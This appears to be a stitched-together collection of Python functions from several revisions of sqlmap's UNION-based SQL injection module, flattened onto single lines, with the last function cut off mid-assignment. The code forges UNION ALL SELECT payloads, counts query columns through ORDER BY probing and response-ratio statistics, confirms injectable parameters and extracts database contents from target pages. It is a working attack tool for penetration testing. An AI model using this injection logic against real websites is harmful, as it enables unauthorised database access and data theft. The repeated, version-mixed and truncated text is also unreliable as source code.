def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content and phrase in content: validPayload = payload vector = (position, count, comment, prefix, suffix, conf.uChar, where) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) # Confirm that it is a full inband SQL injection query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if content and ((phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)): vector = (position, count, comment, prefix, suffix, conf.uChar, PAYLOAD.WHERE.NEGATIVE) break return validPayload, vector
def __oneShotUnionUse(expression, unpack=True): global reqCount check = "(?P<result>%s.*%s)" % (kb.misc.start, kb.misc.stop) # Prepare expression with delimiters expression = agent.concatQuery(expression, unpack) expression = unescaper.unescape(expression) if conf.limitStart or conf.limitStop: where = PAYLOAD.WHERE.NEGATIVE else: where = None # Forge the inband SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5]) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) reqCount += 1 # Parse the returned page to get the exact union-based # sql injection output output = extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE) if output: output = getUnicode(output, kb.pageEncoding) return output
def __unionPosition(expression, negative=False): global reqCount if negative: negLogMsg = "partial" else: negLogMsg = "full" infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg infoMsg += "'%s'" % kb.injParameter logger.info(infoMsg) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for exprPosition in range(0, kb.unionCount): # Prepare expression with delimiters randQuery = randomStr() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) if len(randQueryUnescaped) > len(expression): blankCount = len(randQueryUnescaped) - len(expression) expression = (" " * blankCount) + expression elif len(randQueryUnescaped) < len(expression): blankCount = len(expression) - len(randQueryUnescaped) randQueryUnescaped = (" " * blankCount) + randQueryUnescaped # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) payload = agent.payload(newValue=query, negative=negative) # Perform the request resultPage = Request.queryPage(payload, content=True) reqCount += 1 # We have to assure that the randQuery value is not within the # HTML code of the result page because, for instance, it is there # when the query is wrong and the back-end DBMS is Microsoft SQL # server htmlParsed = htmlParser(resultPage) if randQuery in resultPage and not htmlParsed: setUnion(position=exprPosition) break if isinstance(kb.unionPosition, int): infoMsg = "the target url is affected by an exploitable " infoMsg += "%s inband sql injection vulnerability" % negLogMsg logger.info(infoMsg) else: warnMsg = "the target url is not affected by an exploitable " warnMsg += "%s inband sql injection vulnerability" % negLogMsg if negLogMsg == "partial": warnMsg += ", sqlmap will retrieve the query output " warnMsg += "through blind sql injection technique" logger.warn(warnMsg)
def __unionPosition(negative=False, falseCond=False, count=None, comment=None): validPayload = None if count is None: count = kb.unionCount # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for exprPosition in range(0, count): # Prepare expression with delimiters randQuery = randomStr() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment) payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond) # Perform the request resultPage, _ = Request.queryPage(payload, content=True) if resultPage and randQuery in resultPage: setUnion(position=exprPosition) validPayload = payload break return validPayload
def __formatInjection(inj): data = "Place: %s\n" % inj.place data += "Parameter: %s\n" % inj.parameter for stype, sdata in inj.data.items(): title = sdata.title vector = sdata.vector comment = sdata.comment if stype == PAYLOAD.TECHNIQUE.UNION: count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1 title = re.sub(r"\d+ to \d+", str(count), title) vector = agent.forgeInbandQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6]) if count == 1: title = title.replace("columns", "column") elif comment: vector = "%s%s" % (vector, comment) data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Title: %s\n" % title data += " Payload: %s\n" % agent.adjustLateValues(sdata.payload) data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" return data
def __oneShotUnionUse(expression, unpack=True, limited=False): global reqCount retVal = conf.hashDB.retrieve(expression) if not any([conf.flushSession, conf.freshQueries]) else None threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: check = "(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) # Prepare expression with delimiters injExpression = agent.concatQuery(expression, unpack) injExpression = unescaper.unescape(injExpression) if conf.limitStart or conf.limitStop: where = PAYLOAD.WHERE.NEGATIVE else: where = None # Forge the inband SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector query = agent.forgeInbandQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], None, limited) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) reqCount += 1 # Parse the returned page to get the exact union-based # sql injection output retVal = reduce(lambda x, y: x if x is not None else y, [ \ extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)], \ None) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) else: trimmed = extractRegexResult(trimcheck, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected (due to its length): " warnMsg += trimmed logger.warn(warnMsg) elif Backend.isDbms(DBMS.MYSQL) and not kb.multiThreadMode: warnMsg = "if the problem persists with 'None' values please try to use " warnMsg += "hidden switch --no-cast (fixing problems with some collation " warnMsg += "issues)" singleTimeWarnMessage(warnMsg) conf.hashDB.write(expression, retVal) return retVal
def __oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as inband data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: # Prepare expression with delimiters injExpression = unescaper.unescape(agent.concatQuery(expression, unpack)) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None # Forge the inband SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] query = agent.forgeInbandQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) # Parse the returned page to get the exact union-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, ( \ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of inband injection if Backend.isDbms(DBMS.MSSQL) and wasLastRequestDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal) else: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected (probably due to its length): " warnMsg += trimmed logger.warn(warnMsg) return retVal
def __oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as inband data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: # Prepare expression with delimiters injExpression = unescaper.unescape(agent.concatQuery(expression, unpack)) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None # Forge the inband SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] query = agent.forgeInbandQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) # Parse the returned page to get the exact union-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, ( \ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of inband injection if Backend.isDbms(DBMS.MSSQL) and wasLastRequestDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal) else: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected (probably due to its length): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) return retVal
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO for count in range(lowerCount, upperCount+1): query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, conf.uChar) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, _ = Request.queryPage(payload, place=place, content=True, raise404=False) ratio = comparison(page, True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) deviation = stdev(ratios) if abs(max_ - min_) < MIN_STATISTICAL_RANGE: return None lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target url appears to be UNION injectable with %d columns" % retVal logger.info(infoMsg) return retVal
def __formatInjection(inj): data = "Place: %s\n" % inj.place data += "Parameter: %s\n" % inj.parameter for stype, sdata in inj.data.items(): title = sdata.title vector = sdata.vector if stype == PAYLOAD.TECHNIQUE.UNION: count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1 title = re.sub(r"\d+ to \d+", str(count), title) vector = agent.forgeInbandQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6]) if count == 1: title = title.replace("columns", "column") data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Title: %s\n" % title data += " Payload: %s\n" % agent.adjustLateValues(sdata.payload) data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" return data
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None def __orderByTechnique(): def __orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) return not re.search(r"(warning|error|order by)", page or "", re.I) and comparison(page, headers) if __orderByTest(1) and not __orderByTest(randomInt()): infoMsg = "ORDER BY technique seems to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: if __orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if __orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1: found = kb.orderByColumns or __orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target url appears to have %d columns in query" % found singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount+1): query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] if len(filter(lambda x: x[1], contains)) == 1: retVal = filter(lambda x: x[1], contains)[0][0] break if not retVal: ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(map(lambda x: x == min_ and x != max_, ratios)): retVal = maxItem[0] elif all(map(lambda x: x != min_ and x == max_, ratios)): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target url appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg) return retVal
def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content and phrase in content: validPayload = payload kb.unionDuplicates = content.count(phrase) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) # Confirm that it is a full inband SQL injection query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" logger.warn(warnMsg) else: break return validPayload, vector
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO for count in range(lowerCount, upperCount + 1): query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, conf.uChar) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, _ = Request.queryPage(payload, place=place, content=True, raise404=False) ratio = comparison(page, True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) deviation = stdev(ratios) if abs(max_ - min_) < MIN_STATISTICAL_RANGE: return None lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average( ratios) + UNION_STDEV_COEFF * deviation minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target url appears to be UNION injectable with %d columns" % retVal logger.info(infoMsg) return retVal
def unionUse(expression, direct=False, unescape=True, resetCounter=False): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an inband SQL injection on the affected url """ count = None origExpr = expression start = time.time() startLimit = 0 stopLimit = None test = True value = "" global reqCount if resetCounter == True: reqCount = 0 if not kb.unionCount: unionTest() if not kb.unionCount: return # Prepare expression with delimiters if unescape: expression = agent.concatQuery(expression) expression = unescaper.unescape(expression) # Confirm the inband SQL injection and get the exact column # position only once if not isinstance(kb.unionPosition, int): __unionPosition(expression) # Assure that the above function found the exploitable full inband # SQL injection position if not isinstance(kb.unionPosition, int): __unionPosition(expression, True) # Assure that the above function found the exploitable partial # inband SQL injection position if not isinstance(kb.unionPosition, int): return else: conf.paramNegative = True if conf.paramNegative == True and direct == False: _, _, _, expressionFieldsList, expressionFields = agent.getFields( origExpr) if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are in front of a partial inband sql injection" logger.info(infoMsg) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if " FROM " in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) if limitRegExp: if kb.dbms in ("MySQL", "PostgreSQL"): limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStop = queries[kb.dbms].limitgroupstop if limitGroupStart.isdigit(): startLimit = int( limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms in ("Oracle", "Microsoft SQL Server"): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ("MySQL", "PostgreSQL"): stopLimit += startLimit untilLimitChar = expression.index( queries[kb.dbms].limitstring) expression = expression[:untilLimitChar] if not stopLimit or stopLimit <= 1: if kb.dbms == "Oracle" and expression.endswith( "FROM DUAL"): test = False else: test = True if test == True: # Count the number of SQL query entries output countFirstField = queries[ kb.dbms].count % expressionFieldsList[0] countedExpression = origExpr.replace( expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, None) if not stopLimit: if not count or not count.isdigit(): output = unionUse(countedExpression, direct=True) if output: count = parseUnionPage(output, countedExpression) if count and count.isdigit() and int(count) > 0: stopLimit = int(count) infoMsg = "the SQL query provided returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return for num in xrange(startLimit, stopLimit): limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) output = unionUse(limitedExpr, direct=True, unescape=False) if output: value += output return value value = unionUse(expression, direct=True, unescape=False) else: # Forge the inband SQL injection request query = agent.forgeInbandQuery(expression) payload = agent.payload(newValue=query) infoMsg = "query: %s" % query logger.info(infoMsg) # Perform the request resultPage = Request.queryPage(payload, content=True) reqCount += 1 if temp.start not in resultPage or temp.stop not in resultPage: return # Parse the returned page to get the exact inband # sql injection output startPosition = resultPage.index(temp.start) endPosition = resultPage.rindex(temp.stop) + len(temp.stop) value = str(resultPage[startPosition:endPosition]) duration = int(time.time() - start) infoMsg = "performed %d queries in %d seconds" % (reqCount, duration) logger.info(infoMsg) return value
def unionUse(expression, direct=False, unescape=True, resetCounter=False): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an inband SQL injection on the affected url """ count = None origExpr = expression start = time.time() startLimit = 0 stopLimit = None test = True value = "" global reqCount if resetCounter == True: reqCount = 0 if not kb.unionCount: unionTest() if not kb.unionCount: return # Prepare expression with delimiters if unescape: expression = agent.concatQuery(expression) expression = unescaper.unescape(expression) # Confirm the inband SQL injection and get the exact column # position only once if not isinstance(kb.unionPosition, int): __unionPosition(expression) # Assure that the above function found the exploitable full inband # SQL injection position if not isinstance(kb.unionPosition, int): __unionPosition(expression, True) # Assure that the above function found the exploitable partial # inband SQL injection position if not isinstance(kb.unionPosition, int): return else: conf.paramNegative = True if conf.paramNegative == True and direct == False: _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are in front of a partial inband sql injection" logger.info(infoMsg) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if " FROM " in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) if limitRegExp: if kb.dbms in ( "MySQL", "PostgreSQL" ): limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStop = queries[kb.dbms].limitgroupstop if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ( "MySQL", "PostgreSQL" ): stopLimit += startLimit untilLimitChar = expression.index(queries[kb.dbms].limitstring) expression = expression[:untilLimitChar] if not stopLimit or stopLimit <= 1: if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): test = False else: test = True if test == True: # Count the number of SQL query entries output countFirstField = queries[kb.dbms].count % expressionFieldsList[0] countedExpression = origExpr.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, None) if not stopLimit: if not count or not count.isdigit(): output = unionUse(countedExpression, direct=True) if output: count = parseUnionPage(output, countedExpression) if count and count.isdigit() and int(count) > 0: stopLimit = int(count) infoMsg = "the SQL query provided returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif ( not count or int(count) == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return for num in xrange(startLimit, stopLimit): limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) output = unionUse(limitedExpr, direct=True, unescape=False) if output: value += output return value value = unionUse(expression, direct=True, unescape=False) else: # Forge the inband SQL injection request query = agent.forgeInbandQuery(expression) payload = agent.payload(newValue=query) infoMsg = "query: %s" % query logger.info(infoMsg) # Perform the request resultPage = Request.queryPage(payload, content=True) reqCount += 1 if temp.start not in resultPage or temp.stop not in resultPage: return # Parse the returned page to get the exact inband # sql injection output startPosition = resultPage.index(temp.start) endPosition = resultPage.rindex(temp.stop) + len(temp.stop) value = str(resultPage[startPosition:endPosition]) duration = int(time.time() - start) infoMsg = "performed %d queries in %d seconds" % (reqCount, duration) logger.info(infoMsg) return value
def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content and phrase in content: validPayload = 